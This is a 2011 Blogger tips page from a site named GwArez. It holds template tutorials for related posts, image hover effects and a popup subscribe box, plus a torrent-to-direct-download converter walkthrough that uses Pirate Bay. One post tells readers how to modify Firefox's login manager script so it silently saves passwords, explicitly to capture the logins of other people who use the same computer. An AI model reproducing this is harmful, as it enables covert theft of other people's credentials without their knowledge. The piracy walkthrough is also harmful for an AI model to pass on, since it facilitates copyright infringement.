x

Subscribe to GwArez !



Pages

Whatever you need!!! We bring it!!!

Tuesday, June 28, 2011

Related Posts with Thumbnails for Blogger

Here are the detailed installation steps

1.First of all Login to your blogger dashboard and navigate to Layout > Edit HTML and Click on Expand Widget Templates
2.Now look for
</head>
and replace it with
<!--Related Posts with thumbnails Scripts and Styles Start-->
<b:if cond='data:blog.pageType == &quot;item&quot;'>
<style type="text/css">
#related-posts {
float:center;
text-transform:none;
height:100%;
min-height:100%;
padding-top:5px;
padding-left:5px;
}
#related-posts h2{
font-size: 1.6em;
font-weight: bold;
color: black;
font-family: Georgia, &#8220;Times New Roman&#8221;, Times, serif;
margin-bottom: 0.75em;
margin-top: 0em;
padding-top: 0em;
}
#related-posts a{
color:black;
}
#related-posts a:hover{
color:black;
}
#related-posts a:hover {
background-color:#d4eaf2;
}
</style>
<script src='http://blogergadgets.googlecode.com/files/relatedthumbs19.js' type='text/javascript'/>
</b:if>
<!--Related Posts with thumbnails Scripts and Styles End-->
</head>
3.Now Find
<div class='post-footer-line post-footer-line-1'>
If you cant find it then try finding this one
<p class='post-footer-line post-footer-line-1'>
Now immediately after any of these lines(whichever you could find) place this code snippet
<!-- Related Posts with Thumbnails Code Start-->
<b:if cond='data:blog.pageType == &quot;item&quot;'>
<div id='related-posts'>
<b:loop values='data:post.labels' var='label'>
<b:if cond='data:label.isLast != &quot;true&quot;'>
</b:if>
<b:if cond='data:blog.pageType == &quot;item&quot;'>
<script expr:src='&quot;/feeds/posts/default/-/&quot; + data:label.name + &quot;?alt=json-in-script&amp;callback=related_results_labels_thumbs&amp;max-results=6&quot;' type='text/javascript'/></b:if></b:loop><a href='http://gwarez.blogspot.com/2011/06/related-posts-with-thumbnails-for.html' style='display:none;'>Related Posts with thumbnails for blogger</a><a href='http://gwarez.blogspot.com/' style='display:none;'>blogger widgets</a>
<script type='text/javascript'>
var currentposturl=&quot;<data:post.url/>&quot;;
var maxresults=5;
var relatedpoststitle="Related Posts";
removeRelatedDuplicates_thumbs();
printRelatedLabels_thumbs();
</script>
</div><div style='clear:both'/>
</b:if>
<!-- Related Posts with Thumbnails Code End-->
4.You can adjust the maximum number of related posts being displayed by editing this line in the code.
var maxresults=5;
5.To edit the title of the widget you can change this line of code
var relatedpoststitle="Related Posts";

Saturday, June 25, 2011

Free Torrent to Direct Link Converter website

Torrent 2 Direct Link Converter Tutorial

Step 1: Sign up for a Free account. (After signing up, check your email for account verification.)
                        

                              Website Link

Step 2: Visit your favorite torrent site. (Piratebay.org for this example)
Step 3: Copy the Direct-Link of your torrent file.
Step 4: Paste the link then click 'GET'.  After that, it will show you the files included in that torrent. Just click "Initiate" then wait for it to be converted.

Step 5: Conversion completed! You can now download your files directly. Just click the File
(that website give you waite time depend on file size)

Hack Firefox To Auto Save Passwords Without Notification


Hack Firefox To Auto Save Passwords Without Notification

Hi all users,

Here is a short tutorial on how to get firefox to save usernames + passwords automatically with any notifications (Sort of like a keylogger) just by editing 1 of the javascript files.



ideal if you want to get someones login details who uses your computer.

1) First you need to close firefox.


2) Now locate the nsloginmanagerprompter.js which is normally found in
C:\ProgramFiles\MozillaFirefox\Components\


3) Open nsloginmanagerprompter.js with notepad ++


4) Replace the entire line 804 to 869 with the following code

var pwmgr = this._pwmgr;
pwmgr.addLogin(aLogin);

When you've done that "save as" to your desktop, then drag back in to the original folder and replace the file.

Now your done go into firefox and try it out.. Smile

To see the usernames + passwords you need to click on tools at the top of your browser and go to page info then security.

They will be saved into the saved passwords section.

Enjoy.......

Wednesday, June 22, 2011

How to Add Image Hover Effect in Blog

The most commonly used image hover effects are
  1. CSS Opacity Effect
  2. jQuery Fading Effect
Let me explain this with a example

CSS Opacity effect
JQuery Fading effect




CSS opacity Effect
  1. Login to Blogger Dashboard
  2. Go to Design And select Edit HTML tab
  3. And Search ]]</b:skin> tag
  4. Add bellow CSS code just before it
a.thumbopacity img {
 filter:alpha(opacity=50);
 -moz-opacity: 0.5;
 opacity: 0.5;
 -khtml-opacity: 0.5;
}
a.thumbopacity:hover img {
 filter:alpha(opacity=100);
 -moz-opacity: 1.0;
 opacity: 1.0;
 -khtml-opacity: 1.0; 
}

Now Save your template.
Now turn your Image links to hover effect.
Your Normal code to create link with image like bellow


<a href="http://www.gwarez.blogspot.com/" > <img  border="0" src= 
".../sample.jpg" /></a>

Define a class of class="thumbopacity" to your Normal code Then modified code is bellow


<a href="http://www.gwarez.blogspot.com/" class="thumbopacity" ><img  border="0" 
src=".../sample.jpg" /></a>
 
 
jQuery Fading Effect

  1. Login to Blogger Dashboard
  2. Go to Design And select Edit HTML tab
  3. And Search </head> tag
  4. Add bellow JavaScripts just before it

1.Add jQuery script bellow (Skip this step if you already having jQuery script)

<script src='https://ajax.googleapis.com/ajax/libs/jquery/1.5.0/jquery.min.js' type='text/javascript'></script>

2.Add this JavaScript before </head> tag

<script type="text/javascript"> $(document).ready(function() { $(".thumbs img").fadeTo("slow", 0.6); $(".thumbs img").hover(function() { $(this).fadeTo("slow", 1.0); }, function() { $(this).fadeTo("slow", 0.6); }); }); </script>

Now Save your template.
Now turn your Image links to hover effect.
Your Normal code to create link with image like bellow

<a href="http://www.gwarez.blogspot.com/" ><img border="0" src=".../sample.jpg" /></a>

Define a class of class="thumbs" to your Normal code Then modified code is bellow

<a href="http://www.gwarez.blogspot.com/" class="thumbs" ><img border="0" src=".../sample.jpg" /></a>

Best popup Subscriber For Blogger




Follow the steps below :

Goto Design view → Edit HTML then find for </head>
Paste the given code just before </head>

<style media='all' type='text/css'>
#backgroundPopup{
display:none;
position:fixed;
_position:absolute; /* hack for internet explorer 6*/
height:100%;
width:100%;
top:0;
left:0;
background:#000000;
border:1px solid #cecece;
z-index:1;
}
#popupContact{
margin-top:10%;
margin-left:35%;
display:none;
position:fixed;
_position:absolute; /* hack for internet explorer 6*/
height:384px;
width:408px;
background:#FFFFFF;
border:2px solid #cecece;
z-index:2;
padding:12px;
font-size:13px;
}
#popupContact h1{
text-align:left;
color:#6FA5FD;
font-size:22px;
font-weight:700;
border-bottom:1px dotted #D3D3D3;
padding-bottom:2px;
margin-bottom:20px;
}
#popupContactClose{
font-size:14px;
line-height:14px;
right:6px;
top:4px;
position:absolute;
color:#6fa5fd;
font-weight:700;
display:block;
}
  </style>
<script src='http://jqueryjs.googlecode.com/files/jquery-1.2.6.min.js' type='text/javascript'/>
<script src='http://yensdesign.com/tutorials/popupjquery/popup.js' type='text/javascript'/>
<script src='http://timilsinasamaj.org.np/createCookie.js'  type='text/javascript'/>

Note : if you want popup to be visible for user always then don't paste the red marked code. and if you want that to be visible for user just once in a session the paste all code given above.

Now search for </body> and paste given code above it if you want the popup visible just once in session


<script>
var x = readCookie("prakash");
if(x==null)
{
createCookie();
loadPopup();
}
</script>
OR

If you want the popup to be visible always to the user then search for <body> and replace <body> with the given code
<body onLoad="loadPopup()">

now search for <body> and paste the given code just below that:
<div id='popupContact'>
<a id='popupContactClose'>x</a>
<h1>Subscribe to GwArez !</h1>
<center>
<img border='0' height='200' src='https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQrPjRTU_XqpF9kjqy45gt5M5r8FUmpEawYTX4ClBVYXbkcmwdUt-x5pKnLpKEW3_2Zz5oJx4fj3w71T_y6TqnXloG9TLJLfVeNnBSYmOLDV7FAiP9uq55ntnUdOz1a-FWFZY8LdD05KA/s1600/feed.jpg' width='200'/>
<br/><br/>
<form action='http://feedburner.google.com/fb/a/mailverify' method='post' target='popupwindow'><input name='email' style='width:170px' type='text'/><input name='uri' type='hidden' value='Gwarez'/><input name='loc' type='hidden' value='en_US'/><input type='submit' value='Sign up'/></form>
</center>
    </div>
<div id='backgroundPopup'/>